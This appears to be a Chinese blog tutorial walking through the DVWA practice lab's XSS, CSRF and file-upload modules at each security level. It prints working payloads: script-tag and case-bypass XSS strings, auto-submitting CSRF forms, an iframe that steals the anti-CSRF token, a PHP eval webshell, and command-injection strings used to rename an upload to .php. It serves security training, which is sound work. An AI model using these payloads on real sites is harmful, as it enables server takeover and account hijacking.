目录
DVWA（Damn Vulnerable Web Application）
DVWA（Damn Vulnerable Web Application）
一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。通常将演练系统称为靶机。
DVWA的4种安全级别：
low：对爆破攻击行为毫无设防
medium：对爆破攻击行为防护不足，防护做法欠考虑
hight：对爆破攻击行为有一定防护，但有疏忽
impossible：对爆破攻击行为正确防护
DVWA共有十个模块，分别是:
1.Brute Force（暴力（破解））
2.Command Injection（命令行注入）
3.CSRF（跨站请求伪造）
4.File Inclusion（文件包含）
5.File Upload（文件上传）
6.Insecure CAPTCHA （不安全的验证码）
7.SQL Injection（SQL注入）
8.SQL Injection（Blind）（SQL盲注）
9.XSS（Reflected）（反射型跨站脚本）
10.XSS（Stored）（存储型跨站脚本）
DVWA靶机：
DVWA环境搭建
推荐一位博客的安装配置教程文章,在这里就不多讲了：
DVWA安装教程（懂你的不懂·详细）_dvwa安装教程 site:blog.csdn.net-CSDN博客
DVWA Script标签
<script>标签用于定义客户端脚本，eg、JavaScript
<script>alert(1);</script>
<script>alert("XSS");</script>
#alert() 显示一条弹出提示消息和确认按钮的警告框
——alert（）是阻塞的函数，如果不点确认按钮，后面内容不会加载出来
XSS 跨站脚本攻击
跨站脚本攻击(Cross Site Scripting) ——代码注入的一种
恶意攻击者往Web页面里插入恶意的Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的
———可得到很高权限（eg执行某些操作）、私密网页内容、会话和cookie等各种内容
注：cookie：所谓“cookie”数据是指某些网站为了辨别用户身份，储存在用户本地终端上的数据（通常经过加密），由用户客户端计算机暂时或永久保存的信息。
——类型为“小型文本文件”，是某些网站为了辨别用户身份，进行Session跟踪而储存在用户本地终端上的数据（通常经过加密），由用户客户端计算机暂时或永久保存的信息
XSS 攻击原理及分类
XSS 漏洞行成原理
后端服务器没有对前端输入的数据进行控制、过滤等，然后又将数据输出页面表，并且也没有进行控制、转译等，导致“精心购造”的JavaScript代码在输入后被浏览器当做有效代码解析执行从而产生危害
====》防止攻击时，一般从输入和输出两方面进行控制（过滤信息）
XSS攻击分：反射型、存储型、DOM型
反射型XSS
非持久性XSS，攻击方式一次性，需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容)，一般容易出现在搜索页面。
经过后端，不经过数据库，多用于盗取用户的Cookie信息
攻击者通过电子邮件等方式将包含XSS代码（Script代码）的恶意链接发送给目标用户，目标用户访问链接时，服务器收到并处理请求，将带有XSS代码的数据发送给目标用户的浏览器，浏览器解析具有XSS代码的恶意脚本后，就会触发XSS漏洞。
eg、<script>alert('hack')</script>
存储型XSS
持久型XSS，攻击脚本永久存放在目标服务器的数据库或文件中，很高的隐蔽性，多见于论坛、博客、留言板等
经过后端，经过数据库，容易造成蠕虫，盗窃cookie
注：蠕虫病毒：蠕虫是一种可以自我复制的代码，并且通过网络传播，通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后，就会把这台机器作为宿主，进而扫描并感染其他计算机
发帖过程中，将恶意脚本及正常信息注入帖子。帖子被存储，恶意脚本也被永久存储在服务器后端的存储器中。用户浏览被注入恶意代码的帖子时，恶意脚本会在浏览器中执行。
eg、<script>alert(/hacker by hacker/)</script>)
DOM型XSS
DOM（Document Objeet Model）：使用DOM可使程序和脚本能够动态访问和更新文档的内容、结构及样式。
特殊类型的反射型XSS，基于DOM文档对象模型的漏洞，和反射型xss及存储型xss不同的是，DOM型xss不经过服务端，只在前端执行，通过url传入参数去控制触发的漏洞，不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题==>一次性的、也属于反射型
客户端脚本程序可通过DOM动态修改页面内容，从客户端获取中DOM的数据并在本地执行。DOM在客户端修改节点=》所以基于DOM型的XSS漏洞不需要与服务器端交互，只发生在客户端处理数据的阶段。
用户请求一个经过专门设计的URL（由攻击者提交），其中包含XSS代码，服务器的相应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个相应时，DOM对象会处理XSS代码，导致XSS漏洞
eg、<img src=1 οnerrοr=alert('hack')>
XSS 漏洞演示
XSS reflect反射型演示
low
1、选择安全等级
2、查看源代码发现没有任何的安全过滤措施
3、尝试攻击 ——一般XSS攻击
alert() 显示一条弹出提示消息和确认按钮的警告框
<script>alert('hack')</script>：用此代码进行一般XSS攻击
点击Submit（等搜索框的恶意链接）后触发XSS反射型恶意代码
Medium
- 选择安全等级
- 查看源码发现这里使用str_replace函数对参数进行了简单的替换,过滤
3、大小写绕过攻击
有安全过滤措施，我们使用大小写进行绕过过滤
<Script>alert('知己安全')</script>
#注意：必须前面的script至少有一个大写才能绕过成功，后面的script可大写可不大写（大写总个数不限制）
eg、<SCriPt>alert('知己安全')</scRipT> ——正确
但<script>alert('知己安全')</sCrIpt> ——错误
High
- 选择安全等级
- 查看源代码发现他这次使用了preg_replace正则表达式对<script>标签进行了严格的过滤。
3.解决方案：用别的标签代替即可例如img，进行攻击
Impossible
1、选择安全等级
2、impossible中文翻译为不可能的，虽然不可能但是咱还是来试一试，首先查看后台源码
看到使用了htmlspecialchars函数对参数进行html实体转义，就是说把我们输入的代码直接打印出来而不会被当成js脚本去执行，看到这个就已经说明无法利用XSS漏洞了
XSS Stored存储型演示
Low
- 选择安全等级
2.查看PHP源代码
3.尝试攻击
<script>alert('hack')</script>：用此代码进行一般XSS攻击
Sign Guestbook后：
且每次刷新该页面都会显示该弹窗
Medium
- 选择安全等级
- 查看PHP源代码
多了两行进行了过滤、替换，使用大小写、双写均不能绕过
#注：存在过滤<script>标签，所以注入时需要将前面<script>标签进行至少一个字母大写
3、Medium用大小写绕过仍然失败，查看源码发现这里使用htmlspecialchars函数对Massage参数进行了html实体转义，这个场景XSS Reflected(low、medium、high、Impossible)中的Impossible相同，故这里直接避开这个玩意，改在name里写入脚本。
字符限制不能在name中输入完整脚本=》为前端限制
=》用F12改限制，把值10改为100
之后再输入代码：<Script>alert(‘zj’)</script>
#注：前面必须至少1个大写，后面大不大写均可（查看源代码有过滤<script>标签）
High
1、选择安全等级
2、查看PHP源代码
这次直接在name用正则表达式把咱的script给过滤了，采用直接改个标签进行攻击（这里记住输入之前像medium中那样改一下字符限制）
发现有长度限制，进行修改
ctrl+s：保存更改
Impossible
1、选择安全等级
2、查看PHP源代码
————直接把两个输入点都给html实体转义了
3、使用了htmlspecialchars函数对参数进行html实体转义，就是说把我们输入的代码直接打印出来而不会被当成js脚本去执行，看到这个就已经说明无法利用XSS漏洞了
CSRF 跨站请求伪造
CSRF（Cross-site request forgery），中文名称：跨站请求伪造，也被称为：one click attack/session riding，缩写为：CSRF/XSRF
CSRF 攻击原理及分类
CSRF（Cross-site Request Forgery，跨站请求伪造，或称XSRF）是一种针对网站的恶意利用。
CSRF攻击：在CSRF攻击场景中,攻击者会伪造一个请求（一般是一个链接），然后欺骗用户进行点击，点击完成则攻击完成==》也称为“one click”攻击
CSRF可以做什么：
攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账…造成的问题包括：个人隐私泄露以及财产安全
#注：cookie是由服务器发送给客户端（浏览器）的小量信息，cookie的小量信息能帮助我们跟踪会话。一般该信息记录用户身份。当然cookie也常记录跟踪购物车的商品信息（如数量）、记录用户访问次数等
1、漏洞原因：
CSRF攻击可以利用用户已经登陆或已经授权的状态，伪造合法用户发出请求给受信任的网点，从而实现在未授权的情况下执行一些特权操作。
2、防护：
（1）增加二次验证机制
在敏感操作时候，不再直接通过某个请求执行，而是再次验证用户口令或者再次验证类似验证码等随机数。如：转账时，要求用户二次输入密码
（2）.验证访问来源 referrer
校验HTTP Referer字段可以保证相关敏感操作来自授权站点的跳转。在HTTP协议中，定义了一个访问来源的字段，即HTTP_REFERER。站点可以在后端校验Referer是否来自于正常的站内跳转。如果攻击者诱导用户点击跳转链接，则Referer就为攻击者的主机，与网站内部内部跳转情况下的Referer字段不同
（3）验证随机token参数
在敏感操作的参数中，增加完全随机的Token参数进行校验。这是目前业内防止CSRF攻击最常用的方法。因为CSRF产生的根本原因是，进行敏感操作时用户每次发送的请求都完全相同。因此，攻击者就可以把这样的请求进行封装包裹，诱导用户点击链接并发出请求。而如果在进行敏感操作时，增加完全随机的Token参数，每次进行敏感操作时发送的请求都不完全相同，攻击者也就没有办法伪造出一个合法的敏感操作请求，也就无法实施CSRF攻击。
XSS与CSRF区别：
XSS攻击是利用受信任的站点攻击客户端用户，而CSRF是伪装成受信任的用户的请求来攻击受信任的站点。===》XSS盗取权限破坏，而CSRF借用户权限破坏
举例：
A：攻击者 B：被攻击者
XSS攻击：
1、欺骗B访问XSS脚本（盗取cookie的脚本）的页面
2、B中招，A盗取到B的cookie
3、A顺利登陆到B的后台，A修改B的相关信息
盗取用户资料，登录账号、挖网银账号、利用用户身份盗取、篡改、添加、删除数据等，盗窃商业价值资料、非法转账、强制发送电子邮件
CSRF攻击：
A构造后台请求地址，诱导B点击或者通过某些途径自动发起请求，利用B在被攻击网站已经获取的登录凭证信息，绕过后台的用户验证，达到冒充B对被攻击网站执行某些操作目的
CSRF攻击重点：
- 目标用户已经登录了网站，能够执行网站的功能
- 目标用户访问了攻击者构造的URL
即要完成一次CSRF攻击，受害者必须依次完成两个步骤：
1.登录受信任网站A，并在本地生成Cookie。
2.在不退出A的情况下，访问危险网站B。
目标转账生成了http请求（其类似于http://www.xxbank.com/pay.php?user=xx&money=100），而攻击者构造的链接（http://www.xxbank.com/pay.php?user=hacker&money=100），目标访问该url后，自动向hacker账号转账100,，且致设计目标用户操作，攻击者没有获取用户的cookie或其他信息
CSRF 分类
1、Get型
——只需要构造URL，然后诱导受害者访问利用。
仅仅须要一个HTTP请求，就能够构造一次简单的CSRF。GET型是CSRF攻击最常发生的情形
样例：
1、银行站点A：它以GET请求来完毕银行转账的操作，如：
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
2、危险站点B：它里面有一段HTML的（URL）代码例如以下：
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先。你登录了银行站点A，然后访问危险站点B，噢，这时你会发现你的银行账户少了1000块。
为什么会这样呢？原因是银行站点A违反了HTTP规范，使用GET请求更新资源。
在访问危险网站B的之前，你已经登录了银行网站A，而B中的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作…
原本这是：
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
结果银行站点服务器收到请求后，觉得这是一个更新资源操作（转账操作），所以就立马进行转账操作。
如果一个网站某个地方的功能，比如用户修改邮箱是通过GET请求进行修改的。如：/user.php?id=1&email=123@163.com ，这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1&email=abc@163.com ，然后通过各种手段发送给被攻击者，诱使被攻击者点击我们的链接，当用户刚好在访问这个网站，他同时又点击了这个链接，那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了
2、POST型
POST请求是要把参数放在http的请求body里发送给服务器==》POST类型的CSRF攻击需要用post的方式发送请求==》创建（静态创建或动态创建）一个自动提交的表单。当用户点击或浏览有这样表单的网页就会自动发生CSRF攻击
错误观点（csrf攻击不能由post引起）形成的原因：大多数CSRF攻击发起时，使用的HTML标签都是<image>、<iframe>、<script>等带“src"属性的标签，这类标签只能够发起一次GET请求，而不能发起POST请求。
1）、对于一个表单来说，用户往往也就可以使用GET方式提交参数。比如以下表单:（post、GET型，未区分）
<form action=" / register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
用户可尝试构造一个GET请求：
http: //host/register/?username=test&password=passwd
来提交，若服务器端未对请求方法进行限制，则这个请求会通过。
2）、如果服务器端已经区分了GET与POST，对于攻击者来说，有若干种方法可以构造出一个POST请求。（POST型）
最简单的方法，就是在一个页面中构造好一个表单，然后使用JavaScript自动提交这个表单。比如，攻击者在www.b.com/test.html中编写如下代码：
<form action="http://www.a.com/register"id="register" method="post" ><input type=text name="username" value=""/>
<input type=password name="password" value=""/><input type=submit name="submit" value="submit"/></ form>
<script>
var f = document.getElementById ( "register");
f.inputs [0].value = "test";
f.inputs [1].value = "passwd" ;
f.submit ();
</script>
攻击者甚至可以将这个页面隐藏在一个不可见的iframe窗口中，那么整个自动提交表单的过程，对于用户来说也是不可见的。
在2007年的Gmail CSRF漏洞攻击过程中，安全研究者pdp展示了这一技巧。首先，用户需要登录Gmail账户，以便让浏览器获得Gmail的临时Cookie。
（1）、用户登录Gmail
（2）、然后，攻击者诱使用户访问一个恶意页面。
#在这个恶意页面中，隐藏了一个iframe，iframe的地址指向pdp写的CSRF构造页面。
http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewtljmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinboxmailinator.com&cfl_from&cfl_toucf1_subjicf1_has&cfl_hasnotscf1_attach=truestfi&S=z&irf=on&nvp bu_cftb=Create%20Filter
#这个链接的实际作用就是把参数生成一个POST的表单，并自动提交。
（3）、由于浏览器中已经存在Gmail的临时Cookie，所以用户在iframe中对Gmail发起的这次请求会成功―—邮箱的Filter中会新创建一条规则，将所有带附件的邮件都转发到攻击者的邮箱中。
恶意站点通过CSRF在用户的Gmail账号中建立一条规则。
#再举一个例子：
在普通用户的眼中，点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常但又不正常的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。
比如:
/coures/user/handler666buy.php</font>
通过提交表单，buy.php处理购买的信息，这里的666为视频ID。那么攻击者现在构造一个链接，链接中包含以下内容：
<form action=/coures/user/handler/666/buy method=POST>
<input type="text" name="xx" value="xx" />
</form>
<script> document.forms[0].submit(); </script>
当用户访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作，自动购买了id为666的视频，从而导致受害者余额扣除。
CSRF 环境：
火狐下载、开启代理：FoxyProxy
1、burpsuite证书导入火狐浏览器
2、burpsuite抓包时需要相应的foxyproxy standard扩展插件
——（火狐下载、开启代理：FoxyProxy）
CSRF 漏洞演示
low
法1 --复杂
1、选择安全等级
2、点Test credentials（测试凭据），输入默认账号密码=》测试密码、账号是否有效
系统默认账号：admin
系统默认密码：password
3、打开火狐代理
4、打开burpsuite开启抓包
5.在New-password和confirm new password中输入相同新密码，提交修改密码请求==》直接修改密码，没有任何对CSRF的防御==》修改为12345678
密码修改成功（系统初始默认密码为password）
且其链接显示为：
6、选择CSRF Poc，生成一段payload
英文显示：
7、将这个html文件的两个密码都改成（想改成的密码）8888，点击用浏览器测试，复制URL并用浏览器打开。
8、关闭代理（放包），浏览器打开，点击submit
9、网页自动转到页面，测试发现密码已改为8888
法2 --简单
1.修改密码为12345678
2.复制网页链接到新浏览器页面，在搜索框将密码修改为8888
3.验证密码修改成功为8888
Medium
medium难度增加了一个对Referer的验证，即用户的请求头中的Referer字段必须包含了服务器的名字。
Referer: http://192.168.5.81/dvwa/vulnerabilities/csrf/ 请求包必须来源与这个referer
过滤规则是http包头的Referer参数的值中必须包含主机名（这里是虚拟机的物理地址）我们可以将攻击页面命名为[虚拟机地址].html (页面被放置在攻击者的服务器里，这里是我的物理机地址）就可以绕过了。
1.打开火狐代理
2.打开burpsuite抓包
3.修改密码为12345678，复制生成的链接
4.将复制的连接新页面打开，在新页面连接上修改密码，发现修改不成功
验证密码，发现密码不为8888：
5.修改密码为12345678，抓取修改时的包===》寻找为什么中级不能用初级的方式进行CSRF攻击
查看源代码，中级难度，增加了Referer的验证：
stripos()函数查找字符串在另一字符串中第一次出现的位置（不区分大小写）。
代码检查了保留变量HTTP_REFERER （http包头部的Referer字段的值，表示来源地址）是否包含SERVER_NAME（http包头部的 Host 字段表示要访问的主机名）
6.抓取修改密码为12345678时的包，对比新窗口复制修改密码为8888时抓的包
DVWA中修改密码为12345678时：
===》正常页面的包是有Rererer表名来源的。
复制链接，修改链接中密码显示，新窗口打开时抓到的包：
7.将正常页面中的referer链接复制复制到修改密码8888的包中
Referer:http://localhost/dvwa/vulnerabilities/csrf/？password_new=12345678&password_conf=12345678&Change=Change
将复制的referer密码信息修改为8888，并放入到修改网址中密码为8888时抓的包中：
Referer信息修改：
Referer:http://localhost/dvwa/vulnerabilities/csrf/?password_new=8888&password_conf=8888&Change=Change
==》修改后放入抓取修改密码为8888的包中
8.放包，发现网页显示修改成功
High
验证token机制：每次修改密码需要提交服务器生成的随机的token参数。
绕过思路：在代码层面发跨站请求动态获取user_token，再发跨站请求修改密码。
1、查看源码，发现多了动态user_token验证==》如果网站或系统存在XSS漏洞，可以结合xss漏洞来获取user_token，构造网站，实现攻击
2、初始密码设置为12345678，抓包查看，含token验证机制，发现正常包均含有token信息
3.存储型XSS中txtname框输入，因为有字数限制，所以需要拦截后更改。
拦截：
有字数限制，先修改长度 ：
将以下代码，放置于再次改密拦截high XSS的包中：
txtName=<iframe src="../CSRF" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
即：将<iframe src="../CSRF" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
放入txtName中，替换掉Name原值
4、放包后即可获取网站的user_token ——因为是存储型XSS，其token具有长效性，不会随时效更改，得到token后再抓包修改CSRF hign的token值和password，最后放包即可利用CSRF漏洞和存储型XSS漏洞修改密码： ——
总结：
个人思考：
通过反射型XSS完成CSRF的攻击应该是不现实的，因为获取的token是一次性的，如果受害者在点击此构造网站之前随便访问了原网站的其他信息，或者token被消耗更新，token就会改变，因此，结合反射型XSS的CSRF攻击在现实中很容易失去有时效性的token。所以只能配合存储型的XSS，在构造网站的时候需要先跳转至XSS模块利用此漏洞获取token，然后才将修改密码表单发送，这个html网站的构造我还没有实现。
Impossible
打开Impossible级别我们就发现这里多了一个输入当前密码的输入框，这样就可以确定进行当前操作的是用户本人，但是这样确是以牺牲一定的用户体验换来的安全保障。
这里不仅使用了Anti-CSRF token检验来杜绝一定上的CSRF漏洞的利用，还要求输入当前密码来确定执行此操作的是否为用户本人，并且对当前密码进行了SQL注入的防御。基本杜绝了恶意用户的攻击。
CSRF总结：
Low:
接收两个GET参数，将密码拼接在Url后，引导用户访问即可从URL得到用户密码，无同源策略限制。引导方法：
A.发邮件、转短信链接隐藏地址，但是会进入修改成功的提示页，用户会有所察觉；
B.构造攻击页面，插入<img src='改密url'/>标签, 用户访问时，浏览器加载图片时自动修改密码。
Medium：
同上，只是增加了HTTP_REFERER的限制，无同源限制。
在构造的链接上缀上参数即可： abc.com/test.html?hello=[SERVER_NAME~balabala]
High:
增加了Token的限制，使用session中的token进行回话验证。
需要获取Token后才能模拟请求，登录后才能访问该页面获取token，但是浏览器有同源策略限制。 ——访问用户ip
在同源策略下abc.com域名的网页无法访问localhost的cookie，也就无法获取到页面的token。
需要配合xss漏洞，在xss页面注入js实现改密操作。
Impossible:
使用Token验证，并增加了旧密码的验证。
不知道旧密码则无法修改，彻底防御了csrf；使用token+同源策略防止了暴力重试。
文件上传漏洞
文件上传（File Upload）是大部分Web应用都具备的功能，例如用户上传附件、修改头像、分享图片/视频等。正常的文件一般是文档、图片、视频等，Web应用收集之后放入后台存储，需要的时候再调用出来返回
如果恶意文件如PHP、ASP等执行文件绕过Web应用，并顺利执行，则相当于黑客直接拿到了Webshell，则可以拿到Web应用的数据，删除Web文件，本地提权，进一步拿下整个服务器甚至内网；
Webshell是黑客经常使用的一种恶意脚本，其目的是获得对服务器的执行操作权限，比如执行系统命令、窃取用户数据、删除web页面、修改主页等
文件上传 攻击原理及分类
上传漏洞原理：
文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限
编辑一句话木马：
pass.php文件添加：<?php @eval($_POST['pass']);?>
其中：
@表示后面即使执行错误，也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['pass']表示从页面中获得pass这个参数值。
low
1.查看网页源代码-没有任何过滤
——low级别未对上传的文件进行任何验证，可以上传任意类型的文件
2.新建记事本，输入以下代码，此段php语句表示用post方式获取pass的参数
===》编写简单的webshell脚本（一句话木马文件）
=》可以换位get方式获取参数，eg、<?php @eval($_get['cmd']);?>
3.上传文件，将编辑好的webshell脚本上传上去
../../：是表示上传后的文件目录是在hackable上两级的目录中
4、使用上传后的文件目录进行注入
即木马地址为：
http://localhost/dvwa/hackable/uploads/cmd.php
5、直接打开木马文件http://localhost/dvwa/hackable/uploads/cmd.php访问成功，但没有显示任何内容（因为是php文件）
6、安装中国蚁剑，并初始化
https://blog.csdn.net/leiwuhen92/article/details/128659049
7、通过中国蚁剑连接工具（或者中国菜刀）将url添加进去，密码为pass：
8、打开文件管理，进入后台
双击：
进入后台成功：可以找到信息，且双击点开即可查看后台文件的详细信息=》即文本详细信息，即PHP文件信息
Medium
1、选择medium难度，使用相同webshell，按初级方法直接上传漏洞，发现上传不了
2、查看源代码
Medium级别对文件类型作出了过滤，反馈信息提示平台只接受JPEG或者PNG的文件且限制大小不能超过100000B（约为97.6KB）
法1 --burpsuite绕过
3、相同包上传时，抓包查看尝试
4.将Content-Type后内容修改为：为image/png或image/jpeg等均可，修改后放包
文件上传成功
法2 --00截断
3、将木马文件pass.php改名为pass.php.jpeg
4.上传pass.php.jpeg，同时开启burpsuite捕获
切换到Hex进制，将pass.php.jpeg截断为pass.php：
插入后：
5、点击“forward”， 也可将pass.php成功上传：
High
High级别的代码读取文件名中最后一个.后的字符串(文件后缀名)，期望通过文件名来限制文件类型，因此要求上传文件名形式必须是*.jpg、.jpeg 、.png之一
- 选择high难度，查看网页源代码
读取尾部.后字符串文件后缀
burpsuite绕过
2、copy命令将木马文件c.php与图片文件e.png合并为t.png
windows上(关闭实时防护)使用copy命令:copy test.jpg/b+pass.php/a php.jpg
linux上：cat pass.php >> test.jpg
3、记事本方式打开查看
记事本查看或cat t.png查看，发现图片尾部可查看到代码
5.将php.jpg文件上传，成功
--发现可以正常访问，但是只会返回静态内容，文件不会被执行。
上传成功后，但是蚁剑连接不成功，因为，图片里的php代码没有被解析，所以，通过命令注入去解析contest.png。
6、用命令注入方式来查看该目录（Command Execution）：
调整dvwa的等级为low，在Command Execution中输入 127.0.0.1|ls ../../hackable/uploads
command injection即命令注入，是指恶意用户通过构造请求，对于一些执行系统命令的功能点进行构造注入，本质上是数据与代码未分离。对于特殊的需求没有对请求进行过滤，导致绕过从而导致注入。
7、然后通过命令注入方式输入以下命令来进行更改文件后缀
127.0.0.1|mv ../../hackable/uploads/t.png ../../hackable/uploads/end.php
再执行127.0.0.1|ls ../../hackable/uploads查看：
9.中国蚁剑查看，指定连接目录http://192.168.11.157/dvwa/hackable/uploads/php.php，参数为cmd，类型为PHP(eval)：
最后，文章中有些是我在网络上找的资料，但是由于查找时间久远，我没有记载参考文章的链接，如果有涉及您博客的内容，可以联系我在此添加您博客的链接！！也希望我能和大家相互学习！！
668
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
